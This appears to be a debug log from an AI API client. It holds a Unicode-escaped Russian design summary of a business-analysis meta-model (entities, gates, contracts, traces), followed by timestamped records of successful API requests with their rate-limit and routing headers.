\u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 `System` \u0438 `Actor` \u0432 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u043e\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0438, `Skill` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\\n\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c \u0438 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c\u044e, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043d\u0430\u044f \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438\\n\u0432\u044b\u043d\u0435\u0441\u0435\u043d\u044b \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 \u0438 \u043f\u0435\u0440\u0435\u0441\u043e\u0431\u0440\u0430\u043d\u044b \u043d\u0430 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u0431\u0430\u0437\u0438\u0441\u0435, \u0430\\n\u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u0441\u043f\u0438\u0446\u044b \u0441\u043b\u043e\u0432\u0430\u0440\u0438 \u0434\u0435\u0432\u044f\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439\\n\u0434\u0435\u043f\u0440\u0435\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u044b.\\n\\n## BLUF: \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439\\n\\n1. **\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439.** `Product`, `System`,\\n   `Artifact`, `Operation`, `Skill`, `Process`, `Route`, `Actor`, `Gate`,\\n   `Contract`, `Trace`. \u0412\u0435\u0440\u0441\u0438\u044f 0.2 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 `System` \u2014 \u043e\u0431\u044a\u0435\u043a\u0442 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f, \u043a\\n   \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u2014 \u0438 \u043f\u0435\u0440\u0435\u0432\u0435\u043b\u0430 `Skill` \u0438\u0437 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438\\n   \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c. \u0412\u0441\u0451 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 \u2014\\n   \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f, \u0430 \u043d\u0435 \u043d\u043e\u0432\u0430\u044f \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c\\n   ([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u00a72).\\n2. **\u0418\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b \u0437\u0430\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0430\u0440\u043e\u0439 \u00ab\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f + \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u00bb.**\\n   \u0420\u0435\u0436\u0438\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430 (`stepwise`, `oneshot`, `legacy`) \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c\u044e \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\\n   \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0451\u043d \u0432 `deprecated`\\n   ([ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md)).\\n   \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e: 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u043d\u0430 13 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u0441\u0440\u0435\u0434\u043d\u0438\u0439 \u0416\u0430\u043a\u043a\u0430\u0440 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432\\n   \u0440\u0435\u0436\u0438\u043c\u043d\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u2014 0.077.\\n3. **\u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043d\u0430\u0432\u044b\u043a\u0438 (1:N) \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 (1:N).** \u041d\u0430\u0432\u044b\u043a \u2014 \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f\\n   \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0430 **\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441**: \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c, \u0432\u044b\u0445\u043e\u0434\u043e\u043c,\\n   \u0433\u0435\u0439\u0442\u043e\u043c \u0438 \u043f\u0440\u0430\u0432\u043e\u043c \u0432\u0435\u0442\u0432\u0438\u0442\u044c\u0441\u044f. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432\u0435\u0442\u0432\u0438\u0442\u044c\u0441\u044f \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u0440\u043e\u0432\u043d\u043e\\n   \u043e\u0434\u0438\u043d \u043a\u043b\u0430\u0441\u0441 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. \u0422\u0440\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438, \u0441\u043b\u0438\u0442\u044b\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0441\u043f\u0438\u0446\u044b \u0432 \u043e\u0434\u0438\u043d \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\\n   (\u043f\u0440\u043e\u043c\u043f\u0442), \u0440\u0430\u0437\u0432\u0435\u0434\u0435\u043d\u044b \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u043c \u00ab\u043c\u043d\u043e\u0433\u0438\u0435 \u043a\\n   \u043e\u0434\u043d\u043e\u043c\u0443\u00bb\\n   ([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u00a74).\\n4. **\u0413\u0435\u0439\u0442 \u2014 \u043e\u0434\u043d\u0430 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u0441 \u0442\u0440\u0435\u043c\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\u043c\u0438.** `G-self` (\u0430\u0433\u0435\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\\n   \u0441\u0435\u0431\u044f), `G-mach` (\u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440), `G-human` (\u0447\u0435\u043b\u043e\u0432\u0435\u043a) \u2014 \u043d\u0435 \u0442\u0440\u0438 \u0442\u0438\u043f\u043e\u043b\u043e\u0433\u0438\u0438 \u0438\u0437 \u0442\u0440\u0451\u0445\\n   \u043c\u043e\u0434\u0443\u043b\u0435\u0439, \u0430 \u0442\u0440\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044f `executor` \u043e\u0434\u043d\u043e\u0439 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438. \u0427\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0435 \u0433\u0435\u0439\u0442\u044b\\n   `HG-0`\u2026`HG-8` \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f **\u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u043c\u0438** `G-human`, \u0430 \u043d\u0435 \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u043c\\n   \u0441\u043b\u043e\u0432\u0430\u0440\u0451\u043c.\\n5. **\u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043e\u0442\u0434\u0435\u043b\u0451\u043d \u043e\u0442 \u0433\u0435\u0439\u0442\u0430.** \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442, \u043a\u0430\u043a\u0438\u043c \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c\\n   \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442; \u0433\u0435\u0439\u0442 \u2014 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0432 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430.\\n   \u041e\u0434\u0438\u043d \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u0433\u0435\u0439\u0442\u0430\u043c\u0438; \u0433\u0435\u0439\u0442 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d.\\n6. **\u041f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c \u2014 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e.** `Trace` \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0445\u043e\u0434,\\n   \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e, \u0430\u043a\u0442\u043e\u0440\u0430, \u0433\u0435\u0439\u0442 \u0438 \u0432\u044b\u0445\u043e\u0434. \u0411\u0435\u0437 \u043d\u0435\u0451 \u043d\u0438 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430\\n   \u043d\u0435 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u043c\u0430: \u0437\u0430\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e 50 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043d\u0435 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u043d\u0430 \u043e\u0434\u0438\u043d\\n   \u043f\u0440\u043e\u043c\u043f\u0442, \u0442\u043e \u0435\u0441\u0442\u044c \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u00ab\u0432\u0445\u043e\u0434 \u2192 \u0440\u0430\u0431\u043e\u0442\u0430 \u2192 \u0432\u044b\u0445\u043e\u0434\u00bb \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043d\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n7. **\u0427\u0435\u0442\u044b\u0440\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435, \u043f\u044f\u0442\u0430\u044f \u2014 \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0430\u044f.** \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b,\\n   \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u2014 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435. \u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0433\u0435\u0439\u0442\u043e\u0432 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432\\n   \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0430\u044f: \u043e\u043d\u0430 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u044b, \u0430 \u0435\u0451 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\\n   ([`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md), \u00a77).\\n8. **\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0430, \u0430 \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0435\u043d\u0430.** \u0423\u0440\u043e\u0432\u043d\u0438\\n   `Domain \u2192 Capability \u2192 Feature \u2192 Atomic Function` \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u044b \u0432 Source \u0447\u0438\u0441\u0442\u044b\u043c\\n   \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a\u043e\u043c\\n   ([`standards/product-taxonomy-reference.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/product-taxonomy-reference.md));\\n   \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u043f\u043e\u043a\u0435.\\n9. **Execution Package \u2014 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f, \u0430 \u043d\u0435 \u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435.** \u0412 \u043f\u0430\u043a\u0435\u0442 \u0443\u0445\u043e\u0434\u044f\u0442 \u0441\u0435\u043c\u044c\\n   \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0444\u0430\u0439\u043b\u043e\u0432; \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0442\u0435\u043a\u0441\u0442\u044b \u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044f\u0442\u0441\u044f. \u0421\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439\\n   `SKILL.md` \u0441\u0430\u043c\u043e\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d: \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0430\u0433\u0435\u043d\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0445\u043e\u0434\u0438\u0442\u044c \u0432\u043e\\n   \u0432\u0440\u0435\u043c\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0432 \u043d\u0451\u043c \u043d\u0435\u0442, \u0430 \u0432\u0435\u0440\u0441\u0438\u044f \u0441\u043b\u043e\u0451\u0432 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0432\u043e frontmatter\\n   ([`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md), \u00a73).\\n10. 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[STDOUT] [log_71136a, request-id: \"req_011CfXMhubGLd23PXdvDRkNR\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 937ms\n[2026-09-29T07:44:47.058Z] [STDOUT] [log_71136a] response start {\n[2026-09-29T07:44:47.065Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:47.074Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:47.082Z] [STDOUT]   headers: {\n[2026-09-29T07:44:47.084Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:47.089Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:47.094Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:47.101Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:47.105Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:47.111Z] [STDOUT]     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\"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:47.163Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:47.167Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:47.171Z] [STDOUT]     \"cf-ray\": \"a4295d504caf29ad-FRA\",\n[2026-09-29T07:44:47.175Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:47.182Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:47.187Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:47.191Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:47.197Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:47 GMT\",\n[2026-09-29T07:44:47.205Z] [STDOUT]     \"request-id\": \"req_011CfXMhubGLd23PXdvDRkNR\",\n[2026-09-29T07:44:47.217Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:47.219Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:47.221Z] [STDOUT]     traceresponse: \"00-5199dffda6f699f2f86a87674e87d66b-bf7a49b9eb9fe17c-01\",\n[2026-09-29T07:44:47.224Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:47.228Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:47.231Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:47.234Z] [STDOUT]   },\n[2026-09-29T07:44:47.237Z] [STDOUT]   durationMs: 937,\n[2026-09-29T07:44:47.242Z] [STDOUT] }\n[2026-09-29T07:44:47.249Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:47.253Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:47 GMT\",\n[2026-09-29T07:44:47.260Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:47.264Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:47.267Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:47.271Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:47.276Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:47.280Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:47.285Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:47.289Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:47.292Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:47.297Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:47.300Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:47.305Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:47.308Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:47.319Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:47.323Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:47.328Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:47.332Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:47.338Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:47.343Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:47.347Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:47.351Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:47.355Z] [STDOUT]   \"request-id\": \"req_011CfXMhubGLd23PXdvDRkNR\",\n[2026-09-29T07:44:47.359Z] [STDOUT]   \"traceresponse\": \"00-5199dffda6f699f2f86a87674e87d66b-bf7a49b9eb9fe17c-01\",\n[2026-09-29T07:44:47.363Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:47.365Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:47.369Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:47.373Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:47.378Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:47.380Z] [STDOUT]   \"cf-ray\": \"a4295d504caf29ad-FRA\",\n[2026-09-29T07:44:47.383Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:47.387Z] [STDOUT] [log_71136a] response parsed {\n[2026-09-29T07:44:47.392Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:47.395Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:47.402Z] [STDOUT]   body: X {\n[2026-09-29T07:44:47.408Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:47.415Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:47.419Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:47.423Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:47.433Z] [STDOUT]     },\n[2026-09-29T07:44:47.443Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:47.446Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:47.450Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:47.454Z] [STDOUT]   },\n[2026-09-29T07:44:47.460Z] [STDOUT]   durationMs: 938,\n[2026-09-29T07:44:47.469Z] [STDOUT] }\n[2026-09-29T07:44:47.479Z] [STDOUT] [log_d2e982, request-id: \"req_011CfXMhvUr4Dk8dsmtwRBDm\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 801ms\n[2026-09-29T07:44:47.483Z] [STDOUT] [log_d2e982] response start {\n[2026-09-29T07:44:47.487Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:47.499Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:47.506Z] [STDOUT]   headers: {\n[2026-09-29T07:44:47.510Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:47.518Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:47.525Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:47.547Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:47.551Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:47.556Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:47.568Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:47.578Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:47.585Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:47.589Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:47.591Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:47.594Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:47.597Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:47.605Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:47.611Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:47.622Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:47.625Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:47.636Z] [STDOUT]     \"cf-ray\": \"a4295d518fd34d8b-FRA\",\n[2026-09-29T07:44:47.640Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:47.646Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:47.653Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:47.656Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:47.661Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:47 GMT\",\n[2026-09-29T07:44:47.664Z] [STDOUT]     \"request-id\": \"req_011CfXMhvUr4Dk8dsmtwRBDm\",\n[2026-09-29T07:44:47.671Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:47.674Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:47.677Z] [STDOUT]     traceresponse: 